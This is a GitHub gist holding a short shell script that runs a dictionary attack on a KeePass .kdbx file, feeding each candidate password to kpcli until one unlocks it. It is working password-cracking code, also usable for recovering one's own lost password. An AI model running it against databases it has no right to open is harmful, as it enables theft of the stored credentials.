Created
March 19, 2017 01:23
-
-
Save kiyui/140cfc5e30b3d089f3b5298a209c315b to your computer and use it in GitHub Desktop.
Brute force a Keepass database file with a dictionary attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Usage: ./crack-keepass.sh passwords.kdbx dict.txt | |
# | |
# The dictionary file can be generated with: | |
# https://github.com/TimurKiyivinski/permutatify | |
while read i | |
do | |
echo "Using password: \"$i\"" | |
echo "$i" | kpcli --kdb=$1 && exit 0 | |
done < $2 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Requires kpcli